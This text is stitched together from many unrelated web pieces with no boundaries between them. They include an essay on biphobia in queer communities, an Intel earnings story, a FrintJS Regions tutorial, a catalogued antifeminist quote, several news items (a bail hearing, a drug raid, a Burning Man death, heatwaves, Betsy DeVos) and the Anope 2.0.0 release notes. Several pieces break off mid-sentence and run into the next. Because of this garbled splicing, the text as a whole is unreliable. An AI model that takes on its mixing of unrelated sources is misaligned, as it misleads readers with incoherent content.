To be fair – transphobia is indeed a problem in many bisexual communities, I have experienced this myself when attending BiCon this last August and have a mouthful not only about cissexism, but also about racism and classism within those communities (page 6). However, I feel that the scope given, within this debate, to addressing transphobia in bisexual communities is not only excessive in relation to actual amounts of transphobia (which says a lot, because transphobia is abound everywhere), but also that the content of the arguments fails to address any real problems existing within actual bisexual communities. Simply put, it feels less like community work and more like slander.
I think I know this song…
The argument claiming bisexuality to be binary situates bisexuality as an oppressive identity perpetuating hegemonic ideology. Less academically – to say that bisexuality is binary is to say that bisexuality is an oppressive identity contributing to dominant social order. Now, where have I heard that before?…
Apparently the first people to make this binary claim were not at all trans people, but one gay male and one straight female (gay-male-identified) academics. I mean, of course, Eve Kosofski-Sedgwick and Lee Edelman (separately). I could only find a quote of Edelman. Here is what he says in his 1994 book “Homographies”:
[…] the hetero/homo binarism (a binarism more effectively reinforced, than disrupted by the “third term” of bisexuality)
(I guess we’re not worth more than brackets, huh?)
Sedgwick said something, to the same extent, at around the same time.
So, apparently the transgender community didn’t make this up at all, but took this from the proverbial Academe. I don’t mention this to mock the transgender community, but rather to point out standpoints within this debate. To say that the stance on bisexuality as binary has been initiated, it appears, by an academic gay white cisman and an academic straight white ciswoman is to say that these people had a political and academic interest in the elimination of bisexuality from their theory and studies.
So what does this remind me of?
Claims of bisexuality as an oppressive/privileged identity are not new. As anyone who wanders the world as bisexual knows, we are often accused of bearing heterosexual privilege – especially by, but not limited to, lesbian communities. These accusations – classical by now – rely on the presumption that bisexual people are, in fact, straight, and that by refusing to relinquish our “attachment” to male-identified people we are accepting and perpetuating heteropatriarchal hegemony (in plain English: heterosexual and sexist oppression of women and queers).
Oh… wait… “perpetuating __________ hegemony”… rings a bell, huh? Let’s make an experiment:
Bisexuals are a privileged group perpetuating heteropatriarchal hegemony and oppressing gay and lesbian people.
hegemony and oppressing people. Bisexuals are a privileged group perpetuating cisgender hegemony and oppressing transgender and genderqueer people.
OMG, I think I got it!!1
What else does this remind me of?
The same arguments were (and in some cases, still are) used against transgender people, too.
Here is what bisexual transgender activist and scholar Jillian Todd Weiss writes about transphobia in her Journal of Bisexuality essay “LG vs. BT”:
Although “male to constructed female” transsexuals claimed to be against the stereotyped gender system by virtue of their escape from stereotypical masculinity, they in fact added force to the binary system by merely escaping from one stereotype to another, or at most mixing together different stereotypes, rather than advocating true gender freedom. They were not political radicals, as they claimed, but reactionaries seeking to preserve a stereotypical gender system that was already dramatically changing due to the political action of 60s and 70s feminists and gays.
Similar claims, of course, have been made throughout the years against FTM transgenders as well, trying to paint them not only as perpetuating the oppressive gender binary, but also as opportunistic seekers of male privilege. And oh my! Doesn’t that sound familiar!
Why this? Why now?
For a brief explanation of this, I’m quoting myself from facebook, again:
Another thought regarding the origin of those allegations, is what Julia Serano calls the masculinism of the transgender movement, which I think comes into play on this issue as well. Serano says, and I agree, that the transgender movement consistently prefers masculine-spectrum viewpoints and ideas, while marginalizing those of feminine-spectrum transpeople and genderqueers. Specifically regarding the issue of increased criticism towards the bi community and relative lack of criticism towards the lesbian community about transphobia, I think this is heavily influenced by the fact that the transgender movement is mostly controlled by FTM’s who emerged and were influenced by lesbian communities (and who experience less transphobia by them by virtue of being “female-bodied”). That is, they don’t criticize lesbians since these are their home communities. However, criticizing bisexuals is very much in keeping with the often-present biphobia of many lesbian communities.
And of course – the transgender movement has a clear interest in the disownment of bisexuality: an acceptance of- alliance with- or association with- bisexuality would, doubtlessly, “drag” the transgender movement even further “down” along with it. Considering both widespread transphobia, and bisexuality’s lack of popularity and huge invisibility within both the GGGG movement and the heterosexual populace – everything is to be gained by a transgender movement dissociating itself from bisexuality, everything to be lost by alliance…
However, what makes it truly necessary for the transgender movement to will itself rid of connection to the bisexual movement is not to be found in any quality intrinsic to trans community or politics themselves. Instead, it seems that for the most part, the gay and lesbian movement makes it out as if there’s “only one spare place” at their proverbial table. Having only three imaginary chairs, where two are marked “gay” and “lesbian” creates the inevitable (and oh-so-convenient) consequence of pitting one invisible/suppressed group against the other, competing for that one extra spot. This is how those in privilege secure their own places, by having us step over each other rather than fighting the ‘real enemy’ together. In this way, the gay and lesbian movement can stop worrying about how to hinder our ways to threatening their positions of power – setting us against one another makes sure that we’ll do that job for them.
A short summary, and suggested solutions
So, to summarize:
I’ve been writing this post for three hours now and I’m tired and want to sleep. The allegations of bisexuality being binary are a load of bullshit. The allegations draw not from actual transphobia within bisexual words, communities or bi-identified people, but from wide trends and long histories of biphobia within the gay and lesbian movements. Transgender people have historically (and currently) suffer(ed) from similar allegations by the same sources.
Suggestion solutions:
Solidarity Love The revolution Sleep
After a night’s sleep, and a day’s work: of solidarity
We are all we have. Isolated in a cruel world. We survive, separately and together – which is better? Which would you choose? We imagine ourselves in foreign worlds when we are surrounded by friends. Our friends – who surround us with comfort, love, solidarity and pride. Who pick us off the floor when we’ve forgotten our own footing. We go outside and we fight together, we bring down barriers and dismantle hierarchies. We tear apart their order while imagining and creating the world that is ours: from our communities and our families of choice and into the streets. We invade society. We disrupt order. Where society will kick us down, we will fight back, together.
What we need is to support each other. Understand me when I say this: we are all we have. To love, to struggle, to stand shoulder to shoulder with. We survive each other.
None of us are free until all of us are free.
Want to read more about this?
AdvertisementsIntel is expecting a Q3 revenue of $15.3-15.9 billion as compared to the previous, $14.4-15.4 billion. Intel claims that there are signs of increasing PC demands and hence the company is raising the bar. This would mean a yearly gain of 7.8% which is the best the company has seen since Q3 in 2014. How does this affect Intel Stock? Let’s find out.
PC demand has been falling for some time now as we have talked about earlier and this has affected the company in a negative way. This is due to the shift from PC to mobile devices and this is not a temporary shift. This is what seems to be the permanent trend and we will most likely see more people moving to mobile devices that allow more portability although not being as powerful as a PC. Intel has been looking to cloud computing to counter this shift.
Back in April, the company announced that it would be laying off 12,000 employees which make 11% of the staff due to the decreasing PC demands. There is no doubt that all these mentioned things are affecting Intel Stock in one way or the other.
Q3 R&D along with MG&A expenses are forecasted to be $5.2 billion which is 100 Million over the previous guidance. Intel has some modem chips in the new iPhone 7 and this will replace the Qualcomm chips in those devices but not all phones. There will be some versions of the phone that have Qualcomm chips.
Intel stock rose 3% to 37.67 in today’s stock market and the highest seen was 38.05, this is the best since January 2001. According to IBD:
Intel may have taken a hit due to the decrease in PC demand but that is not the end of the world. There will always be people that will need a PC plus there are more people coming into the PC gaming world each year.
What do you think about the Intel stock?What is a Region?
In a traditional website, you usually have elements like header, footer, sidebar, etc. They are areas in your website where you put relevant content accordingly.
Header : may contain logo and navigation links
: may contain logo and navigation links Footer : more navigation, and copyright information
: more navigation, and copyright information Main : your main content area
: your main content area Sidebar: contextual information based on main area’s content
In FrintJS, we ship a <Region /> component via frint-react package (and also frint-vue ), which allows us to define these areas in our applications.
You just define them, and later if there happens to be any Child App registered targeting any actively rendered Region, they will be rendered inside them. Otherwise it will render nothing in the UI.
How does it work?
Imagine this is our React component that is rendered from Root App (can be anywhere in the components tree):
import React from'react';
import { Region } from 'frint-react';
export default function Root() {
return (
<div>
<div className="main">
...
</div>
<div className="sidebar">
<Region name="sidebar" />
</div>
</div>
);
}
All we did was just define a Region in our Component, and give it a unique name “sidebar”. It’s just a placeholder here for now, and it will render nothing in the UI until any Child App for this specific Region is available.
Register a Child App:
To see it action, we also need to register a Child App:
import RootApp from './root-app';
import ChildApp from './child-app';
window.app = new RootApp();
window.app.registerApp(ChildApp, {
regions: ['sidebar'],
});
What we did above was, first have access to our Root Apps’s instance, and then register our Child App to it by specifying a list of region names where we want it to be rendered.
Now whenever the <Region name="sidebar" /> is rendered anywhere, it will take up the responsibility of rendering ChildApp too in it automatically.
Multiple Child Apps in a single Region:
You can register multiple Child Apps in your Region. If you want to take more control on the ordering of rendered Apps, you can make use of the weight key when registering. The lower the number, the higher they appear inside Region then:
window.app.registerApp(ChildApp1, {
regions: ['sidebar'],
weight: 5,
});
window.app.registerApp(ChildApp2, {
regions: ['sidebar'].
weight: 10,
});
Passing data via Regions:
Regions can also pass additional data as props, which can later be accessed as an RxJS Observable when needed by Child Apps.
Data can be passed as props like this:
import React from'react';
import { Region } from 'frint-react';
function MyComponent() {
const data = {}; // anything
return (
<div>
<Region name="sidebar" data={data} />
</div>
);
}
This data via props (that can also change over time), can later be accessed via Child Apps using providers.
You can read more about it in the documentation here.
Code Splitting
You may wonder why we are using a global variable for the Root App’s instance in window.app.
Technique:
This is a technique we have been using at Travix, to help us split our big monolithic application into multiple bundles.
Webpack is really good at splitting your bundle into multiple chunks very efficiently, but that can only happen when all of your source code is accessible from a single entry point (think a single repository).
With this implementation of Regions via FrintJS, our primary application now only needs to be responsible for defining the Regions in the right places, without having to know early on what gets rendered in them. This enables our individual teams to work on their own Child Apps in their own repositories.
Responsibilities from server-side:
From our server, we can dynamically decide which Child Apps’ bundles to load on demand, and those bundles (once loaded) all register themselves by accessing the global window.app variable.
The server’s response looks pretty much like this:
<!-- common libraries, like React and FrintJS -->
<script src="./vendors.js"></script>
<!-- our Root App in FrintJS -->
<script src="./root.js"></script>
<!-- dynamically generated list of Child Apps -->
<script src="./child-1.js"></script>
<script src="./child-2.js"></script>
<script src="./child-3.js"></script>
Example
This topic on code splitting may require another dedicated blog post, but for now you can take a look at this example in our repository for a real-world use case: https://github.com/frintjs/frint/tree/master/examples/multiple-apps
Find us on Twitter if you have any questions!Quote# 101564The tentacles of feminism now reach into every nation and society on Earth. Sexual Trade Union theory explains this through accounting for feminism as a reaction to technological forces openeing the sexual market and lowering the sexual 'price' or SMV of most women. As these technological forces are present in all societies, then feminist Sexual Trade Union will emerge and strengthen everywhere, together with an accompanying growth in global political institutions and international NOGs that are vehicles for the spread of feminism worldwide.There is nowhere left to run to. There is nowhere left to escape the coming holocaust.But what if men could escape feminism by creating their own refuges? Perhaps there is the possiblility of an island, or rather, the possibility of creating our own islands?...Seasteading is funded by the tech billionaire Peter Thiel, a libertarian who once expressed this opinion over the historical disaster of granting women the vote :" Since 1920, the vast increase in welfare beneficiaries and the extension of the franchise to women - two constituencies that are notoriously tough for libertarians - have rendered the notion of "capitalist democracy" into an oxymoron."The Antifeminist, Antifeminist Theory of Men's Rights, Male Sexuality, Feminism 36 Comments [6/16/2014 3:35:20 AM]Fundie Index: 21TRENTON — A Salem man who has no use of his arms due to a spinal condition has remained jailed on a gun possession charge in Mercer County for four months despite pleas from his attorney that he should be released without bail.
“It shocks the conscience," Caroline Turner, the attorney for Marcus Hubbard, 28, said Tuesday during a bail hearing. "How could he be held for four months on a gun charge? He cannot move his arms. They are useless to him."
Hubbard, who wore a back brace and struggled to stand during the hearing, suffered spinal injuries in a car accident and may also be suffering from ALS, also known as Lou Gehrig's Disease, Turner said.
Superior Court Judge Timothy Lydon agreed to reduce the bail from $100,000 to $35,000. Turner vowed to appeal.
Hubbard has been hospitalized in protective custody since his arrest in August.
Hubbard was in a car with three other Salem County men that was pulled over for running a red light in Trenton, authorities said. Police saw a handgun in a seatback pocket and everyone was ordered out of the car, authorities said.
Police seized a 9mm handgun, which was found to have been stolen out of Anchorage, Alaska, and a prescription bottle of codeine. None of the four men admitted to having the gun or codeine, and as a result, all four men were charged under "constructive possession laws."
“The police reports do seem to confirm this defendant has no use of his hands but I would disagree that that doesn’t mean necessarily that he can’t be guilty of a crime,” said Assistant Prosecutor William Fisher.
Hubbard has prior convictions in Salem County for drug possession, child endangerment and obstruction, according to Department of Corrections records. He served two state prison sentences and was last released in June, about six weeks prior to his arrest in Trenton.
Turner said the other men in the car told police it didn’t belong to Hubbard and that he shouldn’t be charged. She also said Hubbard was seated elsewhere in the car.
Turner said she believes prosecutors are misstating constructive possession laws. The law allow charges for someone who does not have to actually possess an item, but is able to and has the intention to exert control over it either directly or through other persons.
James McEvoy may be reached at jmcevoy@njtimes.com. Follow him on Twitter @byJamesMcEvoy. Find The Times of Trenton on Facebook.Gary Saavedra has entered the Guinness Book of World Records. The surfer from Panama surfed for three hours and 55 minutes in 41.3-mile wave created by a power boat.
Saavedra, the 13-time national Panamanian surfing champion, had been training hard for the "Red Bull Canal Cross" challenge.
The weather conditions were pretty tough. The surfer had to battle 20-knot winds and large vessels that were making the water conditions unstable for riding the artificial wave. Saavedra almost fell and lost his wave ten times.
He reached his goal by arriving at the the Amador Causeway, in the southern entrance of the Panama Canal, where more than 30 supporters cheered him.
Surfing a static wave is not easy and can be pretty exhausting. The previous world record was held by Steve King, from the UK, who surfed this type of wave for one hour and six minute.
Gary Saavedra is the best surfer in the history of Panama. He was born in Chitre, in the region of Herrera. His home spot is Bocas, in Cambutal.Betsy DeVos (Melina Mara/The Washington Post)
If you’ve been paying attention at all to the controversy surrounding the Senate confirmation of Michigan billionaire Betsy DeVos as education secretary in President Trump’s administration, you probably know these things:
*She is a billionaire.
*She supports charter schools and vouchers.
*She said that schools should be allowed to have guns to protect from “potential grizzlies.”
*She never went to public school. Neither did her children.
[No, it’s not just unions that oppose Betsy DeVos. It’s much bigger than that.]
Betsy DeVos, Donald Trump's nominee for education secretary, appeared before senators at her confirmation hearing on Jan. 17, but some of her responses created more questions than they answered. (Jenny Starrs/The Washington Post)
But here are some things you may not know about the new education secretary, who won the job in the Senate only after Mike Pence became the first vice president to ever break a tie to confirm a Cabinet nominee.
* She did not support Donald Trump for most of the 2016 presidential campaign cycle. DeVos has long been a close ally of former Florida governor Jeb Bush, and she donated to his campaign for the 2016 Republican presidential nomination.
* She attended Holland Christian Schools, a private Christian school system in Michigan, where she was on the honor roll and played percussion in the school symphony and was a member of the swim team; her husband, Dick DeVos, attended the same elementary school. She then enrolled at Calvin College, a Christian school in Michigan, where she graduated in 1979 with a bachelor’s degree in business economics. Hundreds of students and alumni from Calvin wrote an open letter urging the Senate not to confirm her, saying that she does not have “a strong commitment” to public education.
* FollowTheMoney.org says that DeVos and her husband made campaign contributions totaling $47,559,870 between 2000 and 2015. In 1997, she wrote in Roll Call, a publication covering Congress:
“My family is the biggest contributor of soft money to the Republican National Committee. I have decided to stop taking offense,” she wrote, “at the suggestion that we are buying influence. Now I simply concede the point. They are right. We do expect something in return. We expect to foster a conservative governing philosophy consisting of limited government and respect for traditional American virtues. We expect a return on our investment.”
* Her father, Edgar Dale Prince, founded an auto supply business that grew into a billion-dollar business. Her brother, Erik Prince, was a Navy SEAL who founded Blackwater, the private military security company, in 1997. Her husband, Dick, is part of the family that owns the billion-dollar Amway business. Forbes estimates that Richard DeVos, Dick’s father, and family have a net worth of $5.3 billion.
* DeVos agreed to divest from more than 100 entities to avoid potential conflicts of interest with her new job — but one company in which she maintained her investment is Neurocore, though she stepped down from the board of directors. The New York Times wrote:
Ms. DeVos and her husband, Richard DeVos Jr., are major financial backers of Neurocore, a Michigan company that operates drug-free “brain performance centers” that claim to have worked with 10,000 children and adults to overcome problems with attention deficit disorder, autism, sleeplessness and stress. … Not all experts are convinced of the effectiveness of Neurocore’s methods. A 2013 article in The Detroit News questioned the efficacy of diagnostic testing for A.D.H.D. through electroencephalography, citing an article in the American Academy of Pediatrics News that suggested more research was needed.
* She gave a speech at the SXSWedu convention in Austin in 2015 in which she slammed the public-education system and teachers and the D.C. public school system. Here’s what she said:
“As far as good teachers and recognizing good teachers, I couldn’t agree with you more that an excellent teacher should be a very highly valued individual. And I think that teaching has become very deprofessionalized over the years, as it’s been part of an industry that has been very closed to itself and, I would argue, very self-serving. I believe that opening up the system will go a long way toward placing a renewed value on the quality of a good teacher. And I believe that more young people will be encouraged to enter the field of teaching if we have the kind of innovation and creativity in education in general that I think would be unleashed by the notion of full, open educational choice.”
and
“It’s a battle of Industrial Age versus the Digital Age. It’s the Model T versus the Tesla. It’s old factory model versus the new Internet model. It’s the Luddites versus the future. We must open up the education industry — and let’s not kid ourselves that it isn’t an industry — we must open it up to entrepreneurs and innovators. This is how families without means will get access to a world-class education. This is how a student who’s not learning in their current model can find an individualized learning environment that will meet their needs. We are the beneficiaries of start-ups, ventures, and innovation in every other area of life, but we don’t have that in education because it’s a closed system, a closed industry, a closed market. It’s a monopoly, a dead end. And the best and brightest innovators and risk-takers steer way clear of it. As long as education remains a closed system, we will never see the education equivalents of Google, Facebook, Amazon, PayPal, Wikipedia or Uber. We won’t see any real innovation that benefits more than a handful of students.”
and
“I would like you to think about this as if we were talking about your own children. Here are your two choices. Alpha School is a high-performing school, with graduation rates ranging from 70-90 percent, depending on the year. Beta School is a low-performing school, with graduation rates hovering around 50 percent. If you were given the choice between Alpha School and Beta School for your children, which would you choose? If you chose Alpha School, then in Washington, D.C., you chose a private or charter school for your kids. If you chose Beta School, then in Washington, D.C., you chose the traditional public school.”
(Clarification: Adding last name to DeVos’s father)I think this is the first time I’ve seen ASUS bold enough to take a jab at Apple and be intense in advertising the latest ASUS ZenFone 2. Why, the Taiwanese manufacturer has just posted a handy shopping guide obviously making fun of the very expensive Apple Watch. ASUS referred to Apple’s first smartwatch as the “golden watch”. No mention exactly of the product but it’s very obvious.
It’s a funny flowchart that ultimately points to the ASUS ZenWatch as the best and most “logical” choice. ASUS is implying that the golden watch is expensive and a mighty waste of money. (It makes one feel unworthy and guilty of having bad debts too. Ouch.) Buying an Apple Watch is crazy because of the price and that you’re better off with the ASUS ZenWatch which is much more affordable at $199.
We’ve seen the ASUS ZenFone 2 at the CES 2015 earlier this year but it was only this week that the company released the smartphone and announced the prices in Taiwan. ASUS also introduced some new ZenFone 2 accessories to improve one’s mobile experience.
And then yesterday, ASUS released a video overview of the phone. We’re not sure if this is an official ad because it runs over two minutes. However, it’s a good run-through of what we can expect from the latest ASUS smartphone.
https://www.youtube.com/watch?v=5suYA6gqei4
The zen music in the beginning quickly caught my attention but it soon shifted to some disco electronica music that will make you get up and dance. It’s too dramatic what with the molten metal flowing into whatever when in reality, the ZenFone 2 is made of plastic. ASUS made sure to let us know that the phone is ergonomic with its arc design, has a stunning 5.5-inch Full HD IPS display, and has an impressive 13 megapixel Pixel Master camera that offers 400% better contrast.
This ASUS ZenFone comes in different models with varying specs. The high-end model boasts of 4GB RAM, a 3000mAh battery, a 64-bit 2.3GHz Intel processor, and a $290 price tag. That’s very affordable for a phone with high specs. ASUS also featured the BoostMaster technology which allows quick-charging of the phone (up to 60% within 39 minutes).
SOURCE: ASUS"Wow...seriously?"
a December 11 court appearance. I'm not sure what his defense will be, but he is currently being held on $1,000 bail while awaiting
"...and he better use my real likeness if he decides to post bail."
Please also feel free to leave a comment below. If you'd like to sing my praises or tell me how terrible I am more personally, I can also be found on Twitter.
Buying socks is never something that you really think about. But suddenly it's laundry day, you're feeling lazy, and you live just a short drive away from the store. Sometimes it's worth the extra cash to not have to do any work (and maybe pick up some Cheetos and Mountain Dew, too).This was (most likely) the situation that 29-year old Dana Leland found himself in earlier this week. On three separate occasions, he made a trip to his local Target, put around $25 worth of socks and "other items" on the register, and plunked down a $100 bill to pay for all of it Now usually, paying for a small purchase like this with such a large denomination would seem a bit extravagant. But in Leland's case, there was a much bigger problem than his decision to carry large bills in his wallet.His Benjamins had the face of the 16th President of the United States (and well known vampire hunter), Abraham Lincoln While one of the current trends in counterfeiting is making $5 bills to look like $100 bills, Leland had apparently forgotten a key part of the process that required him to change the face of the president on the money.After being apprehended by police, Dana Leleland plead not guilty to charges ofDust off the ugly Christmas sweaters, Santa Claus is coming back to town — and he’s bringing his “angry elf” along to help tend the bar.
For the second consecutive year, Ted and Jamie Kilgore and Ted Charak, the ownership team behind Planter's House, will open a holiday-themed pop-up bar on Black Friday that will remain open through the duration of the happiest time of the year.
Jamie, a self-proclaimed Christmas junkie, took the reigns of the sleigh last year.
“I wanted it to be Griswold family Christmas meets A Christmas Story,” she says. “It needed to be silly and over the top and just wonderful.”
And it was. In their inaugural season, she decked the halls of a vacant space on Chouteau (pictures above), hanging tinsel from anything that would stand still and garland from everything else. “After we opened, I had to more than double my staff because it was so much bigger than we anticipated,” she remembers. “It was such a fun thing to be a part of.”
Miracle on Chouteau, as it was christened in 2016, stemmed from a concept that originated in New York City, where a bar owner decided to heed the advice of his mother. Greg Boehm was building a bar in the East Village and paused construction to open a holiday-themed bar serving festive specialty cocktails. The idea took off, and bartenders from around the country called Boehm to get his advice on starting similar pop-ups.
Boehm and his bar manager, Joann Spiegel, partnered to franchise Miracle. In 2015, they had four locations and 17 in 2016. At last count, 55 locations have already signed on for 2017. By the time the bars launch on Black Friday, they anticipate more than 60 will be on board.
“Seeing the initial success of Miracle and the subsequent growth over the past several years has been an absolute thrill,” says Spiegel.
That growth has not only crisscrossed the country, but the globe, with locations in Paris, Athens and Hong Kong.
× Expand Photo credit Melissa Hom
While Jamie cannot yet say where exactly Miracle StL will open this year (only that it will be smaller and more reservations-oriented), she promises that the bar will begin pouring yuletide spirits and serving light snacks the day after Thanksgiving, and it will continue through New Year's Eve. The menu will feature Miracle franchise standards, including a few favorites from years past, such as the Snowball Old Fashioned and Jingle Ball Nog, as well as newcomers like How The Gimlet Stole Christmas. For those wishing to bathe in the glow of the twinkle lights but sip something a little less pine-scented, Jamie promises more basic offerings as well.
× Expand Photo credit Melissa Hom
Regardless of what fills a patron’s glass, though, she hopes their cups runneth over with holiday cheer.
For the latest on Miracle StL’s location and hours, contact miracle@plantershousestl.com to join the Planter’s House email list. All Miracle locations will sell specialty mugs, with 10 percent of proceeds going to Action Against Hunger. Separately, Miracle STL will be creating original holiday cocktails with Tom’s Town spirits and donating a portion of those proceeds to Santa’s Helpers.
× Expand Photo credit Melissa Hom
Editor's Note: This article has been updated from a previous version.A metro Detroit community is upset after |
location was secured, Investigators located a large cache of US currency ($9300), approximately 100 grams of marihuana and a copious amount of crack cocaine, in both bulk form and packaged for sale. Within the apartment were scales, cutting agents, "cooking" utensils and drug packaging materials. Of note was the discovery of one and one-half pounds of crack cocaine in pancake form; the drug was in its bulk state, not yet cut or packaged. Live ammunition was also discovered within the apartment.
No arrest has been made yet in this case; the resident of the basement apartment was not at home during at the time of execution of the warrant and has yet to be questioned. Investigators and Emergency Response Team members encountered a sophisticated video surveillance system at the 16th Street address. This discovery was particularly alarming to those tasked with forcible entry to the residence; any occupant(s) therein would have had clear warning of the entry of law enforcement personnel. All video equipment has been seized.
The Federal Bureau of Investigation, New York State Police CNET, Rensselaer County Sheriff's Department all participated in and assisted in the investigation.
photo: Troy Police DepartmentOntario Building New and Improved Schools for French-Language Students
Province Supporting Students with Better Learning Spaces
October 28, 2016 1:00 P.M. Ministry of Education
Ontario is building nine new high-quality, modern schools and additions that will better support student achievement and well-being for Ontario's French-language students.
The new projects include:
Bowmanville
Purchase of the former Ontario Street Public School to accommodate 210 French-language elementary students.
Hanmer
A new French-language elementary school for 567 students.
Milton
A new French-language elementary school for 354 students to address the accommodation needs of French language rights holders.
A new French Catholic elementary school for 308 students to relieve accommodation pressure.
Ottawa
A new gymnasium and an addition for 210 students to École secondaire publique De La Salle to relieve accommodation pressure.
A new French-language secondary school for 404 students to address the needs of the board's secondary students in Barrhaven/Riverside South.
Sudbury
The conversion of the Conseil scolaire public du Grand Nord de l'Ontario's Education Centre into an adult and alternative school in order to relocate students from ES Cap sur l'Avenir.
Wendover
Moving six relocatable classroom modules from École secondaire catholique régionale de Hawkesbury to École élémentaire catholique Saint-Joseph to relieve accommodation pressure.
Woodstock
An addition for 184 students to École élémentaire catholique Sainte-Marguerite-Bourgeoys and École secondaire catholique Notre-Dame to relieve accommodation pressure.
Across the province, Ontario is building 28 new schools and expanding and renovating 23 existing ones. This investment will ensure more students are benefitting from state-of-the-art learning facilities that can deliver a full range of programming.
Investing in better buildings for better learning is part of the government's plan to create jobs, grow our economy and help people in their everyday lives.
Quick Facts Ontario is investing more than $56 million in these projects for French-language students.
Since 2013, the province has provided more than $2.5 billion in capital funding for school boards to support 155 new schools and 156 additions and renovations.
The province is investing $2.7 billion over two years to support school repair and renewal. This funding is estimated to benefit more than 2,100 schools that have repair and renewal projects valued at $100,000 or more.
Ontario is providing school boards across the province with more than $12 billion over 10 years to help build new schools in areas of high growth, improve the condition of existing schools and invest in projects to reduce surplus space through school consolidations.A man died after leaping into the flames of a 50-foot tall effigy of a man during the “burning of the Man” tradition in Black Rock City, Nev., on Saturday Night.
The man was identified as Aaron Joel Mitchell, 41, according to the organizers of Burning Man. He was rescued by fire crews and treated at the scene. Mitchell was then airlifted to a burn treatment center at University of California Davis, the organizers said in a statement, where he died from his injuries.
“Now is a time for closeness, contact and community,” the event’s organizers wrote in a blog post. “Trauma needs processing. Promote calls, hugs, self-care, check-ins, and sleep.”
At about 10:30 p.m. Mitchell “broke through a safety perimeter” and ran into the flames, according to Burning Man’s organizers.
The incident was first reported by the New York Daily News, which wrote “firefighters and other rescue crews chased the man,” who at the time was not identified, as he dove headfirst into the fire.
The Black Rock City event Burning Man started in San Francisco in 1986, and last year played host to 70,000 attendees at the Northern Nevada desert. The “burning of the Man” ceremony occurs annually at the festival, and involves burning a stories-high effigy of a man.
If you or someone you know is in crisis, San Francisco’s 24-hour crisis hotline is available at (415)-781-0500.
Click here or scroll down to commentRecord-shattering heatwaves, wildfires and freak storms are a sampling of what is to come in 2012 and a window to the future
The bizarre weather of early summer in the US – from heatwave, wildfires, drought to freak storms – is just a sampling of what is to come for 2012 and a window to the future under climate change, scientists have said.
Scientists are wary of linking specific weather events to climate change, and this year's punishing heat and deadly thunder storms have been confined to the Americas. Europe, Asia and Africa haven't experienced severe weather this year – though they have in past years.
But the run of extreme weather offers real-time proof of the consequences of climate change, said Kevin Trenberth, who heads climate research at the National Centre for Atmospheric Research in Colorado – itself the scene of devastating wildfires.
"We are certainly seeing climate change in action," he said. "This year has been exceptionally unusual throughout the United States."
Jeff Masters director of meteorology at the Weather Underground website, told Democracy Now: "What we're seeing now is the future. We're going to be seeing a lot more weather like this, a lot more impacts like we're seeing from this series of heat waves, fires and storms."
He added: "This is just the beginning."
The prime exhibit for the bizarre turn of weather is the current heat wave.
The month of June alone shattered some 3,215 records for daily maximum heat. Cities like St Louis were sweltering under five consecutive days of triple digit temperatures on Tuesday. Last Thursday the city registered 108 degrees fahrenheit, the highest temperature in nearly 60 years.
"Historically this is going to end up being one of the hottest Junes of all time," said Harold Brooks, a research meteorologist at the National Severe Storm Laboratory in Oklahoma.
The high temperatures were also hitting earlier this summer, he said. Heat waves ordinarily do not build up until July.
But this has been a year for record-breaking heat. Since the start of the year, the United States set more than 40,000 hot temperature records and fewer than 6,000 cold temperature records, according to the National Oceanic and Atmospheric Administration.
Ordinarily, scientists would expect those numbers to be about the same, but the hot temperature records were falling at a ratio of about 7-1.
Such volatile temperatures, early in the year, helped contribute to the conditions for the deadly derecho thunder storm which blew through the Washington DC area with hurricane-force winds, killing some 22 people. Brooks said it was one of the most powerful such storms in recent history.
On the other side of the country, meanwhile, extreme drought conditions across a vast swathe of the American west led to an outbreak of mega-fires in Arizona, Colorado, and New Mexico.
Colorado's fires, outside the cities of Colorado Springs and Boulder, have between them destroyed more than 650 houses.
And there was no relief in sight. Aside from pockets such as northern Minnesota, Washington state, and New England, temperatures across a vast swathe of the United States were heading to record hot temperatures, Brooks said.
The season has already raised public health concerns. At least three people, all in their 70s and 80s, have died in St Louis since last week because of heat-related illness, medical officials said.
In the greater Washington DC area, where power outages due to the furious thunderstorm deepened the effects of a heat wave, the authorities have opened cooling centres in schools and community centres for those without access to air conditioning.
"Watch out for a long hot summer," said Trenberth.
Suzanne Goldenberg and Jeff Masters discuss wildfires and climate change on Democracy Now!Anope 2.0.0 - Release
We are proud to announce that after five years of development our latest stable release, Anope 2.0.0, is now available for download.
With this release we are deprecating the 1.8 branch and no longer recommend users use it.
Overview of changes from 1.8 to 2.0:
Use an account style system instead of the old NSNickTracking option, which allows you to stay logged in no matter what nick you are on.
Fantasy support for all commands.
Can assign core pseudo clients (such as ChanServ) to channels.
A built in web panel.
Persistent channels, which allows services bots to stay in empty channels.
Channel passwords replaced with founder level access (QOP, or the FOUNDER access level).
OWNER access levels added, defaults to access level 9999.
The option to use a flags based channel access system.
Ability to authenticate via SSL certificates
Autojoin channels on authentication (ns_ajoin)
Significantly more advanced logging system, choose what is logged and where it is logged.
Support for other optional database backends, such as SQL and Redis.
Granular command configuration. Configure which command is on what service, what it's called, and who can use it.
Configurable opertypes, which allows defining new services operator levels (Root, Admin, Oper, etc.) and what permissions each has.
Ability to authenticate users against external databases, such as by SQL or LDAP.
Capability to switch between different encryption methods.
DNSBL support.
Installation instructions for Linux/UNIX:
Anope 2 requires CMake to be built. On most systems you can simply install the package from your package manager, eg. sudo apt-get install cmake or sudo yum install cmake.
First, enable any extra modules you want by executing the 'extras' script. Extra modules generally depend on other libraries, such as MySQL, and are not enabled by default due to their dependencies. Then run:
./Config
cd build
make
make install
Upgrading instructions:
1) Install Anope 2 to a separate directory from your old install (such as ~/services2)
2) Copy 1.8's databases to the 'data' directory of your new install.
3) Configure services, the configuration files are located in the 'conf' directory.
Anope 2 uses a different configuration file format from 1.8, you will have to reconfigure them completely.
Use your old configuration as a reference.
4) While configuring, be sure to load db_old, which loads the old 1.8.x databases, and db_flatfile, which writes out the new Anope 2 database.
Ensure that the hash method in db_old's configuration block is the same encryption method that you are currently using on 1.8.
Load the correct encryption module, which is the same one configured in db_old.
5) Start services. Once you confirm your database has been successfully imported, comment or remove db_old from the configuration file, so that the next time services restart, they will load the newer database.
Third party modules, such as most of the ones found on on the Modsite, that are written for 1.7.x or 1.8.x
will not work with Anope 2. However, many of the features of the most popular 1.8 modules have been included in the Anope 2 release, so you may find you no longer need your extra modules. If it is unclear to you whether or not a given feature is in Anope 2, come ask us.
Join our IRC channel at irc://irc.anope.org/anope for questions or comments.
MD5 Sum: eee83117cf230c2b0da72dd703cda6d4 anope-2.0.0-source.tar.gz
MD5 Sum: 8099dbe1c87637e5bd9c6f3c22816770 anope-2.0.0.exe
